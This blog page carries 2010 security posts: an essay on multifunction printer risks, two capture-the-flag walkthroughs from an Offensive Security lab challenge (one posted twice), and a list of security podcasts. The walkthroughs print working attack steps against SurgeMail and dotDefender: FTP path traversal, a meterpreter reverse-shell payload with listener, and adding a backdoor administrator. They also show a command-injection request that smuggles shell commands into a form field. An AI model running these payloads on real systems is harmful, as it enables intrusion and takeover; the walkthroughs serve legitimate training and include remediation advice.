Printers, copiers, and fax machines have become more complex over the years. I find that this is largely due to a Dilbert comic strip character named “The Feature Creep” who would annoyingly want to cram more and more features into a new product line. These devices are doing more than what they were intended to do while opening additional security risks. Not only do these Multi-Function printers (MFP) scan, copy, fax and print, but now they can send email, host web-based administrative pages, and even tell you when the ink is low. One of the bigger risks that had been publicized in a recent CBS TV news broadcast is the fact that these devices are storing these image files on onboard hard drives. The news cast showcased some sensitive personal identifiable information (PII) and even sensitive investment reports of a high profile investment firm. Even though some of these security concerns may be trivial, these risks should be addressed.
PCI does not say I need to protect my printers; who cares?!
Compliance in many cases is one of the biggest drivers of security. Compliance with such standards/laws as PCI, HIPAA, Sarbanes Oxley, or state privacy laws, etc. may not exactly require you to secure your MFPs or other such devices, but that situation might be right around the corner. Since most organizations generally want to do the right thing, it may be required in certain situations to go beyond compliance. When news stories continually pop up covering the subject of sensitive information being breached by recycled copy machines, compliance may one day address these types of issues. Since compliance is just not at that point yet, here are some general questions to ask when trying to understand the criticality of these systems and to show some due diligence:
• Are these devices accessible on the network? If so, how is “Administrative” access controlled?
• How long are the image files retained on these systems?
• If the device was compromised, could the organization actually capture sensitive data?
• If a hard drive fails, does the replacement process follow the normal Standard for securely destroying the disk?
• What are some of the services enabled on these devices? Is there an administrative website, SNMP client, or SMTP server? How about the accounts and passwords of the administrative websites; are they set to default accounts and passwords?
If you answered “No” or “I don’t know” to these questions, some of the issues more than likely need to be addressed.
My vendors made me do it!
In many cases MFPs and other such devices are quickly configured and are plugged into a network. Normally these devices are not looked at or updated until it is time to get a new one. Unless during its life span it stopped working or started belching fire, additional settings were likely not addressed or disabled. Vendors try to sell these devices with more features while the customer may not have considered the risks involved. One example of these features is the ability to send faxes or scanned documents through email. This sounds like a good economical feature; however, internal policy may state that anonymous emails are strictly forbidden. Now that disgruntled employee has a way to send threatening or harassing emails through the printer to that one person he does not like. Additionally, in order to even securely wipe the internal hard drive on these devices, it may require voiding warranties or service contracts if the only way to securely wipe the hard drive is by totally dismantling the device. Some vendors are currently taking a proactive approach to implementing security features such as secure deletion of image files after a print job is finished; however, there really are no best practices currently developed for MFPs and other such devices.
Just like any network appliance, these MFPs and other print devices are small computers that have full-fledged web servers and are connected to the network. They have memory, storage, processors, and an operating system just like a router or a firewall. Even though these may not be directing critical network traffic or blocking unwanted packets, these devices can hold sensitive information. Before that old printer is finally decommissioned, ensure that the hard drive is securely wiped. When looking at your current devices or when the new one is purchased with all the cool features, check the settings. You may be surprised at what you find.
Read more!
Thursday, May 27, 2010
Thursday, May 13, 2010
Offensive Security Part 2 -- KilltheN00b Walk Through HSIYF
How Strong is Your FU hacker challenge Part 2
Target 2: KilltheN00b
After some chips, salsa and a supersized burrito from el habinaro i was down for another challenge. I logged into the offsec labs and reviewed some of the documentation on the contest page that stated there were 2 targets.
Killthen00b
Ghost
After a quick portscan I chose to attack killthen00b purely based the available on the system offered. Ghost provided a HTTP port only. KilltheN00b had many open ports including FTP, HTTP and some various mail ports.
Scan output:
21/tcp open ftp
_ftp-anon: Anonymous FTP login allowed
25/tcp open smtp Surgemail smtpd 3.8k4-4
80/tcp open http Surgemail webmail (DNews based)
_html-title: SurgeMail Welcome Page
106/tcp open pop3pw Qualcomm poppassd (Maximum users connected)
110/tcp open pop3 SurgeMail pop3d 3.8k4-4
143/tcp open imap SurgeMail imapd 3.8k4-4
366/tcp open smtp Surgemail smtpd 3.8k4-4
465/tcp open tcpwrapped
587/tcp open smtp Surgemail smtpd 3.8k4-4
993/tcp open tcpwrapped
995/tcp open tcpwrapped
3389/tcp open ms-term-serv?
7025/tcp open tcpwrapped
7443/tcp open tcpwrapped
More ports = = more fun ??
More Targets = = more fun??
All Girls Just want to have fun?? Wait no that's a song LOL
Probably a wrong assumption, but its a good theory to cling to when times get rough
Initial FTP probing:
First thing i did was log into the FTP server with credentials that were provided on the offsec page. After logging into the FTP server there wasn't much to play with in any available directories so i decided to try to hop out of the FTP environment.
I tried to hop out of the ftp directory structure via directory traversal attacks with "cd ../../../../../"... Failed, so I then flipped the slashes to "cd ..\..\..\..\..\" and the response back indicated a fail based on the response. So i decided to directly call the root directory with "cd c:".
Score!!
Cd C: correctly hopped me into a directory with loads of files available. I was also able to browse to a directory with system32 files. My actual first thought was to replace the system32 directory program Magnify.exe with my evil payload so that at the Remote desktop login the accessibility options would become a shell. But unfortunately I didn't have access to write to that directory so i moved on. After browsing files for awhile I decided this ftp session was a bust and logged out.
HTTP:
Next I decided to hit up the web page located on KilltheN00b. The web server indicated an application by the name of "surgemail".
I then noted the scripts directory on this site seemed to execute pages with a EXE extension. Very interesting... and a possible attack vector
Next I checked the exploit databases and verified an exploit for the version of surgemail running but the exploit was only valid for windows 2000 and 2003.
Debugging:
So I decided to check the remote desktop port in order to see what operating system was in use only to find out killthen00b was running a Win7 operating system and the exploit would need modification before it would work. This was a....
TOTAL FAIL
I loaded up the debugger and started modifying the exploit and realized that I was unable to control EIP with the exploits located on exploitDB... Either due to my lack of advanced level exploitation or the differences in operating systems or possibly a newer operating systems protection mechanisms i only had control of certain parts of the stack, but no EIP overwrite. To be correct, rather partial overwrite of EIP. This exploit utilized a null byte value the OS already providing on the first byte of the 4 byte EIP, we can use the provided nullbyte to bypass failure on shellcode insertion. I thought this was neat (I like that) otherwise our null stop execution of the program prematurely.
Before going further with expliotation I realized this exploit was a post authentication exploit and would need a user account. grrrr
More Web:
I browsed around the the surgemail pages for awhile trying attacks against authentication and authorization without much success till i hit a /domainadmin management page. On this page i was able to guess a password of test/test using burp "comparer" to compare my responses and noticed one of the outputs said "Account Details". I then verified that I could log into the server by logging into another port used for changing passwords "poppassd" located on port 106. The found login worked!!
Woot i could now use that exploit if i can get the exploit to work.. however this was still a fail after messing with more exploitation for a few hours.
Back to FTP:
Since I earlier noticed the EXE files had possible execution on the surge webpage i decided to hit the FTP session back up and see if I can get to the scripts directory. After messing around for awhile I realized that the "cd ..\..\" actually was working correctly and after a few iterations this technique got me to the root directory. I then browsed to the surgemail/scripts directory
ftp> cd ..\..\..\
250 Directory changed to "/MyDocuments/............./......../......".
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for listing
dr-xrwx--- 1 admin users 0 May 03 22:58 $Recycle.Bin
dr-xrwx--- 1 admin users 0 Jul 13 2009 Documents and Settings
dr-xrwx--- 1 admin users 0 Jul 13 2009 PerfLogs
dr-xrwx--- 1 admin users 0 May 03 19:20 Program Files
dr-xrwx--- 1 admin users 0 May 03 19:21 ProgramData
dr-xrwx--- 1 admin users 0 May 03 22:51 Python26
dr-xrwx--- 1 admin users 0 Apr 30 01:21 Recovery
dr-xrwx--- 1 admin users 0 May 07 23:48 surgemail
dr-xrwx--- 1 admin users 0 May 03 22:38 System Volume Information
dr-xrwx--- 1 admin users 0 May 07 23:48 Users
dr-xrwx--- 1 admin users 0 May 03 21:28 Windows
-r--rr---- 1 admin users 24 Jun 10 2009 autoexec.bat
-r--rr---- 1 admin users 10 Jun 10 2009 config.sys
-r--rr---- 1 admin users 2147016704 May 07 23:44 pagefile.sys
-r--rr---- 1 admin users 12645888 May 03 05:53 surgemail_installer.exe
ftp> cd surgemail
250 Directory changed to "/MyDocuments/............./......../....../surgemail".
ftp> cd scripts
250 Directory changed to "/MyDocuments/............./......../....../surgemail/scripts".
I then tried uploading a test file and it worked.... at this point i got pretty excited and went into exploitation mode.
Meterpreter Evil.exe:
I now needed an evil EXE file to have the webserver serve up for me on behalf of the killtheN00b host. So i popped open metasploit..
Create a reverse_tcp meterpreter shell.
root@ficti0n:~# cd /pentest/exploits/framework3
root@ficti0n:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.142 LPORT=4444 X > evil.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.6.142,LPORT=4444
Now I had a test payload to try, which I then uploaded to the ftp server in the surgemail/scripts directory this directory also contained other exe files such as webmail.exe which apeared to be executed by the surgemail webpage.. Will the page execute my exe file?
Back to the web part 2: the evil upload
Back on the web it was time to browse to the scripts directory and cross my fingers and toes, along with yelling at my friends to cross their fingers and toes too!!! Very important that all the bases are covered in information security..
Offensive Security in depth!!! or something like that.. (Wishful thinking)
So i started a multihandler for metasploit, just in case the reverseshell worked.
msf > use multi/handler
msf exploit(handler) > set LHOST 192.168.6.142
LHOST => 192.168.6.142
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.6.142:4444
[*] Starting the payload handler...
I then proceeded to browse to the directory with all body parts crossed.....Hoping for a connect back to my listener.
SCORE!!!!!
My connection status in metasploit then indicated i had an open session. :)
Post Explotation:
With a shiny shell in hand I first dropped the hashes via meterpreter hashdump but i noticed from the sequence of characters the LM hashes were blank. So I decided to just create my own user, via the following scenario.
Get higher privilages:
meterpreter > getsystem
...got system (via technique 1).
Add a new domain admin:
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > add_user ficti0n
[*] Attempting to add user ficti0n to host 127.0.0.1
[+] Successfully added user
meterpreter > add_localgroup_user Administrators ficti0n
[*] Attempting to add user ficti0n to localgroup Administrators on host 127.0.0.1
[+] Successfully added user to local group
But i like GUI's so lets get remote desktop, and I noted in an earlier attempt to log into rdesktop with my ftp credentials that i needed to be part of the remote desktop users group.. so lets be part of the cool kids group shall we??
Get a Remote Desktop Gui:
meterpreter > add_localgroup_user "Remote Desktop Users" ficti0n
[*] Attempting to add user ficti0n to localgroup Remote Desktop Users on host 127.0.0.1
[+] Successfully added user to local group
I can now login with domain admin on a pretty gui interface provided by microsoft.. Thanks microsoft :) and thanks metaploit.
After logging into the windows7 machine I quickly found my proofs.txt and added it to the online scoreboard to raise me up to 50pts total. Job well done...Thanks to steponequit and carnalownage and sygog for calaborating on attack possibilities, sometimes multiple minds work better even if its not the solution possibilities for the future arise
Lessons Learned:
-Don't listen to other peoples chatter and take it as truth.While I was in IRC everyone was talking about compiling code and getting payloads correct..
-I knew better, I knew there was an easier way and only wasted a limited amount of time on exploit writing. I am sure there is a way to transfer that exploit but messing around all day isn't going to get me past the challenge.
-Again go with your initial observations of the application. My observation that the webpage was executing EXE files ultimately got me into the application even though i veered off the path for awhile listening to people in the IRC chat about payloads.
-Also again always trying things twice and CONFIRM.... Initially i thought i didn't have the traversal. it turns out i did 3 hours before I used it!
Remediation:
-Check the ACL's and the Jails on your server logins and make sure they are not traverseable.
-Review your applications for any known exploitable 3rd party software and update
-Do antivirus checking on file uploads to stop payloads from being uploaded and executed
-Do egress filtering to stop unnecessary ports from calling back to listeners on attackers machines
Closing notes:
I then went to the gym to wake up my forgotten muscles from sitting around all day and night... This was over 24 hours into this Challenge, I cheated and took a little (LONG) nap somewhere in there too.. I know I know.. sleeping on the job, but hey there was a pillow close by and I ran out of the redbull..
Oliver Brown (Ficti0n)
Originally Posted on
http://console-cowboys.blogspot.com/
Up next: Part 3
Dropping shells on the Ghost and watching him laugh as he ultimately owns me!!!!
Read more!
Target 2: KilltheN00b
After some chips, salsa and a supersized burrito from el habinaro i was down for another challenge. I logged into the offsec labs and reviewed some of the documentation on the contest page that stated there were 2 targets.
Killthen00b
Ghost
After a quick portscan I chose to attack killthen00b purely based the available on the system offered. Ghost provided a HTTP port only. KilltheN00b had many open ports including FTP, HTTP and some various mail ports.
Scan output:
21/tcp open ftp
_ftp-anon: Anonymous FTP login allowed
25/tcp open smtp Surgemail smtpd 3.8k4-4
80/tcp open http Surgemail webmail (DNews based)
_html-title: SurgeMail Welcome Page
106/tcp open pop3pw Qualcomm poppassd (Maximum users connected)
110/tcp open pop3 SurgeMail pop3d 3.8k4-4
143/tcp open imap SurgeMail imapd 3.8k4-4
366/tcp open smtp Surgemail smtpd 3.8k4-4
465/tcp open tcpwrapped
587/tcp open smtp Surgemail smtpd 3.8k4-4
993/tcp open tcpwrapped
995/tcp open tcpwrapped
3389/tcp open ms-term-serv?
7025/tcp open tcpwrapped
7443/tcp open tcpwrapped
More ports = = more fun ??
More Targets = = more fun??
All Girls Just want to have fun?? Wait no that's a song LOL
Probably a wrong assumption, but its a good theory to cling to when times get rough
Initial FTP probing:
First thing i did was log into the FTP server with credentials that were provided on the offsec page. After logging into the FTP server there wasn't much to play with in any available directories so i decided to try to hop out of the FTP environment.
I tried to hop out of the ftp directory structure via directory traversal attacks with "cd ../../../../../"... Failed, so I then flipped the slashes to "cd ..\..\..\..\..\" and the response back indicated a fail based on the response. So i decided to directly call the root directory with "cd c:".
Score!!
Cd C: correctly hopped me into a directory with loads of files available. I was also able to browse to a directory with system32 files. My actual first thought was to replace the system32 directory program Magnify.exe with my evil payload so that at the Remote desktop login the accessibility options would become a shell. But unfortunately I didn't have access to write to that directory so i moved on. After browsing files for awhile I decided this ftp session was a bust and logged out.
HTTP:
Next I decided to hit up the web page located on KilltheN00b. The web server indicated an application by the name of "surgemail".
I then noted the scripts directory on this site seemed to execute pages with a EXE extension. Very interesting... and a possible attack vector
Next I checked the exploit databases and verified an exploit for the version of surgemail running but the exploit was only valid for windows 2000 and 2003.
Debugging:
So I decided to check the remote desktop port in order to see what operating system was in use only to find out killthen00b was running a Win7 operating system and the exploit would need modification before it would work. This was a....
TOTAL FAIL
I loaded up the debugger and started modifying the exploit and realized that I was unable to control EIP with the exploits located on exploitDB... Either due to my lack of advanced level exploitation or the differences in operating systems or possibly a newer operating systems protection mechanisms i only had control of certain parts of the stack, but no EIP overwrite. To be correct, rather partial overwrite of EIP. This exploit utilized a null byte value the OS already providing on the first byte of the 4 byte EIP, we can use the provided nullbyte to bypass failure on shellcode insertion. I thought this was neat (I like that) otherwise our null stop execution of the program prematurely.
Before going further with expliotation I realized this exploit was a post authentication exploit and would need a user account. grrrr
More Web:
I browsed around the the surgemail pages for awhile trying attacks against authentication and authorization without much success till i hit a /domainadmin management page. On this page i was able to guess a password of test/test using burp "comparer" to compare my responses and noticed one of the outputs said "Account Details". I then verified that I could log into the server by logging into another port used for changing passwords "poppassd" located on port 106. The found login worked!!
Woot i could now use that exploit if i can get the exploit to work.. however this was still a fail after messing with more exploitation for a few hours.
Back to FTP:
Since I earlier noticed the EXE files had possible execution on the surge webpage i decided to hit the FTP session back up and see if I can get to the scripts directory. After messing around for awhile I realized that the "cd ..\..\" actually was working correctly and after a few iterations this technique got me to the root directory. I then browsed to the surgemail/scripts directory
ftp> cd ..\..\..\
250 Directory changed to "/MyDocuments/............./......../......".
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for listing
dr-xrwx--- 1 admin users 0 May 03 22:58 $Recycle.Bin
dr-xrwx--- 1 admin users 0 Jul 13 2009 Documents and Settings
dr-xrwx--- 1 admin users 0 Jul 13 2009 PerfLogs
dr-xrwx--- 1 admin users 0 May 03 19:20 Program Files
dr-xrwx--- 1 admin users 0 May 03 19:21 ProgramData
dr-xrwx--- 1 admin users 0 May 03 22:51 Python26
dr-xrwx--- 1 admin users 0 Apr 30 01:21 Recovery
dr-xrwx--- 1 admin users 0 May 07 23:48 surgemail
dr-xrwx--- 1 admin users 0 May 03 22:38 System Volume Information
dr-xrwx--- 1 admin users 0 May 07 23:48 Users
dr-xrwx--- 1 admin users 0 May 03 21:28 Windows
-r--rr---- 1 admin users 24 Jun 10 2009 autoexec.bat
-r--rr---- 1 admin users 10 Jun 10 2009 config.sys
-r--rr---- 1 admin users 2147016704 May 07 23:44 pagefile.sys
-r--rr---- 1 admin users 12645888 May 03 05:53 surgemail_installer.exe
ftp> cd surgemail
250 Directory changed to "/MyDocuments/............./......../....../surgemail".
ftp> cd scripts
250 Directory changed to "/MyDocuments/............./......../....../surgemail/scripts".
I then tried uploading a test file and it worked.... at this point i got pretty excited and went into exploitation mode.
Meterpreter Evil.exe:
I now needed an evil EXE file to have the webserver serve up for me on behalf of the killtheN00b host. So i popped open metasploit..
Create a reverse_tcp meterpreter shell.
root@ficti0n:~# cd /pentest/exploits/framework3
root@ficti0n:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.142 LPORT=4444 X > evil.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.6.142,LPORT=4444
Now I had a test payload to try, which I then uploaded to the ftp server in the surgemail/scripts directory this directory also contained other exe files such as webmail.exe which apeared to be executed by the surgemail webpage.. Will the page execute my exe file?
Back to the web part 2: the evil upload
Back on the web it was time to browse to the scripts directory and cross my fingers and toes, along with yelling at my friends to cross their fingers and toes too!!! Very important that all the bases are covered in information security..
Offensive Security in depth!!! or something like that.. (Wishful thinking)
So i started a multihandler for metasploit, just in case the reverseshell worked.
msf > use multi/handler
msf exploit(handler) > set LHOST 192.168.6.142
LHOST => 192.168.6.142
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.6.142:4444
[*] Starting the payload handler...
I then proceeded to browse to the directory with all body parts crossed.....Hoping for a connect back to my listener.
SCORE!!!!!
My connection status in metasploit then indicated i had an open session. :)
Post Explotation:
With a shiny shell in hand I first dropped the hashes via meterpreter hashdump but i noticed from the sequence of characters the LM hashes were blank. So I decided to just create my own user, via the following scenario.
Get higher privilages:
meterpreter > getsystem
...got system (via technique 1).
Add a new domain admin:
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > add_user ficti0n
[*] Attempting to add user ficti0n to host 127.0.0.1
[+] Successfully added user
meterpreter > add_localgroup_user Administrators ficti0n
[*] Attempting to add user ficti0n to localgroup Administrators on host 127.0.0.1
[+] Successfully added user to local group
But i like GUI's so lets get remote desktop, and I noted in an earlier attempt to log into rdesktop with my ftp credentials that i needed to be part of the remote desktop users group.. so lets be part of the cool kids group shall we??
Get a Remote Desktop Gui:
meterpreter > add_localgroup_user "Remote Desktop Users" ficti0n
[*] Attempting to add user ficti0n to localgroup Remote Desktop Users on host 127.0.0.1
[+] Successfully added user to local group
I can now login with domain admin on a pretty gui interface provided by microsoft.. Thanks microsoft :) and thanks metaploit.
After logging into the windows7 machine I quickly found my proofs.txt and added it to the online scoreboard to raise me up to 50pts total. Job well done...Thanks to steponequit and carnalownage and sygog for calaborating on attack possibilities, sometimes multiple minds work better even if its not the solution possibilities for the future arise
Lessons Learned:
-Don't listen to other peoples chatter and take it as truth.While I was in IRC everyone was talking about compiling code and getting payloads correct..
-I knew better, I knew there was an easier way and only wasted a limited amount of time on exploit writing. I am sure there is a way to transfer that exploit but messing around all day isn't going to get me past the challenge.
-Again go with your initial observations of the application. My observation that the webpage was executing EXE files ultimately got me into the application even though i veered off the path for awhile listening to people in the IRC chat about payloads.
-Also again always trying things twice and CONFIRM.... Initially i thought i didn't have the traversal. it turns out i did 3 hours before I used it!
Remediation:
-Check the ACL's and the Jails on your server logins and make sure they are not traverseable.
-Review your applications for any known exploitable 3rd party software and update
-Do antivirus checking on file uploads to stop payloads from being uploaded and executed
-Do egress filtering to stop unnecessary ports from calling back to listeners on attackers machines
Closing notes:
I then went to the gym to wake up my forgotten muscles from sitting around all day and night... This was over 24 hours into this Challenge, I cheated and took a little (LONG) nap somewhere in there too.. I know I know.. sleeping on the job, but hey there was a pillow close by and I ran out of the redbull..
Oliver Brown (Ficti0n)
Originally Posted on
http://console-cowboys.blogspot.com/
Up next: Part 3
Dropping shells on the Ghost and watching him laugh as he ultimately owns me!!!!
Read more!
Offensive Security n00bFilter Walk Through HSIYF
How Strong is Your FU hacker challenge
Target 1: N00bFilter
The first target in this weekend’s offensive security challenge was nicknamed n00bfilter as it was used to weed out all the n00bs who would plague the internal Offsec networks with high bandwidth unnecessary tools such as Nessus or Webinspect hoping for an easy hit. Tools like these, while useful, are not going to directly aid you in exploitation of this CTF challenge. Your BRAIN is the only valid tool in an offsec challenge. At first glance n00bfilter appears to be a login and password prompt to an application with no other available options but username and password. Source looks pretty standard as well.. Nothing special, no JavaScript or includes to be had.
First Clue: Error Message
Like most pen tests your first inclination would be to post a single quote or random character into the field and see if it errors out. After adding a single quote I was presented with a taunting answer of "HAHAHA" rather than the expected sql error or perhaps invalid character. Upon further inspection of the error pages source code it was noted that this was an Applicure error message. Applicure being the vendor of Dot Defender, a well known Web Application Firewall (WAF). I found it interesting that a n00bfilter would be running an ids/ips product andI started performing further probing of the application.
Annoyance: cool out periods
I then started trying default user/pass combinations such as admin/admin admin/password. Anything that a normal administrator would FAIL to implement changes to. This led me nowhere quickly at which time I started losing my connection to the application. After roughly 5 minutes i was back online and figured my Internet connection was foobarred... Got to love sketchy cable connections right?? I swear they do bandwidth limiting but whatever.. LOL A few minutes later I was blocked again, and again, and again.... Apparently Dot Defender was set to "Cool me down” when I got out of control.... Very NOT COOL..... This annoyed me because I was was not running anything automated i was manually probing the application. The n00bfilter application also appeared to vary its cool outs based on what you were doing, messing with the URL, messing with the input fields, certain characters, some may be ok, others blocked me immediately, sometimes after only a few tries... Interesting the application has a personality apparently.
Thought: Dot Defender bypass
When I started getting owned by dot defender over and over again I started to think maybe I have to shut the WAF down or at least add my IP address to a list of friends within the dot defenders configurations. But how??
I immediately started researching dot defender weaknesses and vulnerabilities on my good friend Google and this was found...
Full Disclosure:
http://seclists.org/fulldisclosure/2009/Nov/357
The above link states that Post Authentication there is a vulnerability that allows an attacker to run commands on the operating system via the delete site method. Hmmm “post authentication”. This means I need credentials, bullocks!! I don't have credentials
Ok back to google, the google gods then provided me with a few tidbits of information regarding Dot Defender, one useful piece of information being that DotDefender site manager was located a /dotDefender. I browsed to this address and sure enough I was prompted with a basic authentication login prompt that told me its username was "Admin". Now I have a login name the struggle is half over right? so i tried all the default password combos and a few random passwords based on the site and the challenge.
FAIL
Dont Second Guess yourself:
Figuring that a vulnerability on full disclosure was not going to be the issue and especially being post auth on a n00bFilter I moved back to probing the app... I went at it for awhile with combination's of character encodings and character assembly that might fool the WAF into either letting my attacks through the firewall or removing just enough of the attack to reassemble the attack for me.. Attacks such as <scr><script>ipt> or other combination's using various
encoding techniques...
Again FAIL!!
Social Networking:
So I remember the hints said to stay in touch via twitter and IRC. I pop up the IRC channel and its a bunch of whiners complaining about a password being changed.. I was just thinking “WHAT PASSWORD”. I felt out of the loop at that point but I know better then to ask Muts a direct question, I already know the answer.. “TRY HARDER” this is offensive securities mantra which answers every inquiry. So instead I got some redbull and thought it over for a few and noticed that the IRC channel said the passwords were now reset to the original values.
Dot Defender again:
Knowing that the only password not behind dot defenders tyrannical rule was the basic auth login for dot defender, i gave Dot Defender a second go. The very first combination I tried popped open the application with the password of “password” and a # symbol at the end of the index page value, someone had suggested I try the # earlier.
Apparently the first few people past the login started changing the password to keep others from catching up to them.... Sneaky little terrorists threw me off my game. So now it was time to try my post authentication exploitation from full disclosure.. :)
Post Auth:
Opening up Burp Proxy a well known application proxy I started browsing the Dot Defender site manager. I was presented with a page that allowed me to add and DELETE sites. I created a fake test site and then set my proxy to capture a request. Once I captured a request I sent it over to a module in burp by the name of “repeater”, repeater allows you to keep making the request over and over again manually manipulating the values. Since I had an example delete request and I had the delete example on the full disclosure vulnerability, I modified my request with the vulnerable values.
POST /dotDefender/index.cgi HTTP/1.1
Host: www1.noob-filter.com
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www1.noob-filter.com/dotDefender/index.cgi
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
sitename=testsite&deletesitename=testsite;id;ls -al;pwd;&action=deletesite&linenum=12
In the web response was the output of my command injection. I injected an “ls” command which in unix lists the contents of a directory. I thought to myself, ok so that’s cool but I need to find a certain file to show that I passed the challenge. Running burp requests looking for this file is waaaaay to tedious for me. So I used another familiar unix command. The “find” command.
sitename=testsite&deletesitename=testsite;id;find / -name 'n00bSecret.txt';pwd;&action=deletesite&linenum=12
Score:
The n00bSecret file was found quickly so I used the “cat” command to list out the contents of the file with the proof of passing the first challenge.
Request:
sitename=testsite&deletesitename=testsite;id;cat /opt/0c2b7b8071ee658e1c957d3b024ff872d2/n00bSecret.txt;pwd;&action=deletesite&linenum=12
Response:
9f9b0b7d2db411c10b517b547a8693d831d3aa936aba4d54b51d30b5a182c05b1f7a5759fd7d5ef64e5485e5d3e3a214dd6b4b78a733566556b2887a6b9a6299
I browsed out to the contest scoreboard page and added in my shiny new proof key immediately since I knew there was a 10 minute time limit between exploitation and acceptance. Accepted 25 points added to my account and a shiny new VPN login will be provided to me within 5 minutes time!!!
Mexican food:
At this point I decided it was time for some Mexican food, I was fiendish for some chips and salsa all day long. I passed the n00b challenge being the 30th contender out of a possible 100 slots. Note that the 100 slots were not filled till 24 hours after this point.. :) Not too horrible but again could be much better!!
Lessons Learned:
Dont second guess your observations and research. I was thrown off the path because sneaky contestants were changing the scope of the competition. Observe every detail of the source and what you are presented with and try things more than once! Attacks that failed once might just work the second time... At this point 5 hours of the competition was wasted on an attack that should have taken me less than 2 hours. Or even 30 min if I was quick with it.
Dot Defender Remediation:
There is a patch available for this vulnerability from Applicure, just patch your app!! Also according to this other post by Applicure it only effects Linux running Apache. Response by Applicure in the link below.
http://seclists.org/bugtraq/2009/Dec/123
Oliver Brown (Ficti0n)
Originally Posted on
http://console-cowboys.blogspot.com/
Next up, how to own killthen00b
Next up, how to own killthen00b
Read more!
Friday, May 7, 2010
Two Thumbs Up for These Security Podcasts
It may be cliché but security is an ever-changing world. I am often asked how I keep up to date on the latest security trends and news in this rapidly changing world. The two primary tools I use to do this are security podcasts and Twitter. Being a consultant I spend a lot of time on the road and have long periods of free time while driving or flying to clients’ sites. While on the road, or during my daily commute, I fill those open hours by listening to podcasts. I am going to discuss the security podcasts I listen to, with a short description of each one. In a future post I’ll discuss how I use Twitter to keep in touch with the security community and stay on top of emerging trends.
ASIS Security Management Podcast is a monthly podcast containing highlights from the ASIS Security Management magazine. The magazine and podcast tend to be heavily focused on physical security, but there is some information security mixed in also. This is a great podcast if you want to learn more about physical security.
Crypto-Gram Security Podcast is simply Bruce Schneier’s monthly Crypto-Gram newsletter read aloud by Dan Henage. If you don’t have time to read the printed version of Crypto-Gram, this is a great way to keep up to date on a fascinating newsletter. If you haven’t read the Crypto-Gram newsletter you owe it to yourself to check out this podcast. I leave every podcast thinking about a security problem or issue in a new way.
CyberSpeak is a podcast focused on forensics. It is hosted by two formal federal agents who have spent their careers doing data forensics work. This show covers everything from basic to cutting edge forensic techniques. Whether you are a novice in forensics or an experienced forensics examiner, you will learn something from each episode.
Eurotrash Security Podcast comes to us from a band of security professionals and hackers based in Europe. This is one of the few podcasts that covers information security from a European point of view, so it is curious to see how security concerns over there line up and differ from the concerns in the States.
Exotic Liability Podcast is often offensive, usually informative, but always a fun time. This podcast is definitely not safe for work. So be careful where you listen to it. I recommend skipping this podcast if you are offended at obscene language and concepts. Topics usually focus on penetration testing and social engineering. The hosts also have some entertaining war stories about penetration testing.
OWASP Security Podcast focuses on all aspects of web application security. Many of the episodes are short interviews with experts in this field. This podcast is a wonderful way to learn about or keep on top of web application security topics.
Network Security Podcast is a weekly security news podcast covering new stories from the previous week. This show covers all aspects of security. The hosts comment on the news stories, often adding insight which makes the program well worth the listen.
PaulDotCom Security Weekly focuses on the technical side of security. Shows usually include a technical segment, new stories from the previous week, and interviews with special guests. If you want to learn more about the technical side of security this is a podcast you must check out. They also provide very detailed show notes which can be helpful when trying to implement an attack discussed on the show. An episode of PaulDotCom Security Weekly often is broken into two parts and the entire weekly show usually runs two to three hours. If I am running short on podcast time in a week, I also will use the show notes to determine what topics are of interest so I can fast forward to that portion of the podcast.
Risky Business is a news show which focuses on security from down under. The host of the show, Patrick Gray, does a very good job of explaining security concepts and concerns. Patrick also has a good handle on the importance of balancing security with business requirements, something many security folks forget. Because of these two factors, this is a great show for someone just getting into security.
SANS Audio Cast is a short weekly newscast produced by SANS. Episodes tend to be ten to fifteen minutes long so it is a great way to quickly catch up on the hot security news from the previous week. Even if I am running behind on podcasts, I try to listen to this one the week it is released while the information is still fresh.
SecuraBit Podcast is a security news podcast that focuses on technical security topics. I mainly listen to SecuraBit for the special guests they have, who tend to be big names in the security community.
Security Justice is hands down the best security podcast ever made. This monthly podcast covers a variety of security topics but tends to lean more toward physical security and the convergence of physical and logical security. This also is the only security podcast recorded live in a bar. Because this podcast is recorded in a bar, expect bar like language that may not be safe for work. Also in the interest of full disclosure, I should state the author of this post is also a co-host on this show so his views of the show are most likely biased.
Social Media Security Podcast focuses on the security concerns related to social media sites such as Facebook, Twitter, MySpace, and LinkedIn. The team that runs socialmediasecurity.com hosts the show. This podcast is a great way to learn about the threats in the emerging area of social media. The show also provides great case studies and stories that can be used for end user education and awareness training.
Social-Engineering.org Podcast is a monthly podcast focusing on social engineering. Produced by the team that run social-engineering.org, the podcast covers a number of topics related to social engineering. This podcast brings in some amazing guests. At first the guest’s or show topic’s relationship to social engineering might not be clear, but hang in there and the team always ties in how they relate. At its roots this podcast is about how to influence people, which is an important skill for any security professional to have. So even if you are not interested in social engineering, I still recommend you check out a few episodes of this podcast.
